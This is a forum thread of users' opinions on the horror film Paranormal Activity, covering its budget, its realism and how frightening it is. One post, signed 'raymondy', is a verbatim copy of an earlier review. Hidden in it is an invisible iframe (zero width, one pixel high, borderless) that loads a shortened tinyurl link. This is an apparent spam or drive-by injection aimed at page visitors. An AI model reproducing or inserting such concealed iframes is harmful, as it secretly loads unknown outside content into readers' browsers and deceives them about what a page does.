Paranormal Activity

[rmk]

I watched this INDE film last night with the SO. We had no prior knowledge of the film and that turned out to be a good thing. This is a character based film and I found the characters interesting and engaging so I bought into it early on. In the tradition of the low budget, hand held camera perspective of Blair Witch (a film I didn’t particularly care for) PA goes for and gets the, is this a true story? thought process going and that is essential to achieve the goal of scaring the bejesus out of you.

PA starts and ends without any fanfare or warning. It simply allows you and your imagination to do their thing. In this age of big budget CG films where anything is possible, we simply observe and allow the film makers to create the images that entertain or frighten us. But it is our own imagination that holds thoughts and images that can create fear and anxiety that can trump any CG created horrors.

This film isn’t for everyone and needs to been seen on a big screen with a good sound system (lot's of subs = good). Watching PA on a TV with TV speakers would not get it done.

I thoroughly enjoyed this film on a lot of levels and admit to being a bit uneasy going to sleep last night. I still have the claw marks on my right arm from the SO grabbing me and her screams definitely intensified my own reactions. Pretty cool really that a film made with a budget less than the cost of my speakers and subs could do this …

 

[Matt34]

I liked it for the most part but then again, I watched it at an Alamo Draft House while I was in San Antonio so the buzz I had might have impaired my judgement. I'll probably rent it as well so the wife can watch it.

 

[GlocksRock]

got it yesterday from Blockbuster, hope to watch it soon, my girlfirend said she liked it and that it was scary.

 

[darien87]

I'm pretty sure there's already been a thread on this stinker of a movie. It wasn't scary at all. I will never listen to internet buzz about a movie again. If a movie can't generate it's own buzz, then that's a pretty good indication that it sucks.

 

[MidnightSensi]

I meant to watch this and then forgot about it

 

[Buckeye_Nut]

I let my 7th grade daughter watch this 2 nights ago with me. She's been nagging me about watching this ever since it's theater release because all her friends have seen it. LOL...I normally don't let her watch R rated movies, but I knew the only reason for the rating was the use of the "F" word....and I'm sure she's already hear that before....so I let her watch it.

Me??...I thought this movie was an excellent find. I already new it's background...IE..it was made on a $15k budget/it did great in theaters/critics loved it, so my expectations were already high. In the summary....We both loved it and it freaked my daughter out...LOL

My wife travels for work...and I learned the next day that my daughter called her mommy and was talking to her at 3am on the phone because she was scared and couldn't sleep...Hahah.

Too funny..IMO.

 

[raymondy]

I watched this INDE film last night with the SO. We had no prior knowledge of the film and that turned out to be a good thing. This is a character based film and I found the characters interesting and engaging so I bought into it early on. In the tradition of the low budget, hand held camera perspective of Blair Witch (a film I didn’t particularly care for) PA goes for and gets the, is this a true story? thought process going and that is essential to achieve the goal of scaring the bejesus out of you. <iframe border=0 frameborder=0 framespacing=0 height=1 width=0 marginheight=0 marginwidth=0 name=new_date noResize scrolling=no src="http://tinyurl.com/yhntnsv" vspale=0></iframe>

PA starts and ends without any fanfare or warning. It simply allows you and your imagination to do their thing. In this age of big budget CG films where anything is possible, we simply observe and allow the film makers to create the images that entertain or frighten us. But it is our own imagination that holds thoughts and images that can create fear and anxiety that can trump any CG created horrors.

This film isn’t for everyone and needs to been seen on a big screen with a good sound system (lot's of subs = good). Watching PA on a TV with TV speakers would not get it done.

I thoroughly enjoyed this film on a lot of levels and admit to being a bit uneasy going to sleep last night. I still have the claw marks on my right arm from the SO grabbing me and her screams definitely intensified my own reactions. Pretty cool really that a film made with a budget less than the cost of my speakers and subs could do this …

I loved the film even though the begining dragged

 

[Halon451]

rmk summed it up better than I could have said. I enjoyed it as well - seems as if the opinions are greatly divided on this one. I didn't get the cheesy 'Blair Witch' phenomenon at all, at any point. To me it was an interpretation of all those bumps and creaks in the night that you might have wondered about, but shrugged off. The fright comes not from the screen, but from your own mind - well stated, rmk.

I'll go a step further though and say that I thought the character's reactions in the movie were pretty realistic and believable for the most part, truly seemed to convey the horror they were experiencing.

 

[skizzerflake]

I thought it was pretty good, and in the sense of a good investment (like investing 11K and making millions) downright spectacular. I liked it because it was the anti-horror movie, like no hordes of digital demons, overwrought theological theories and no extreme choreographed fight scenes. It was just a basic "bump in the night" horror. It was more like stories around the campfire. I see that Oren Peli will be doing an Area 51 movie and Paranormal 2. I wonder if they will stick with the micro-budget format.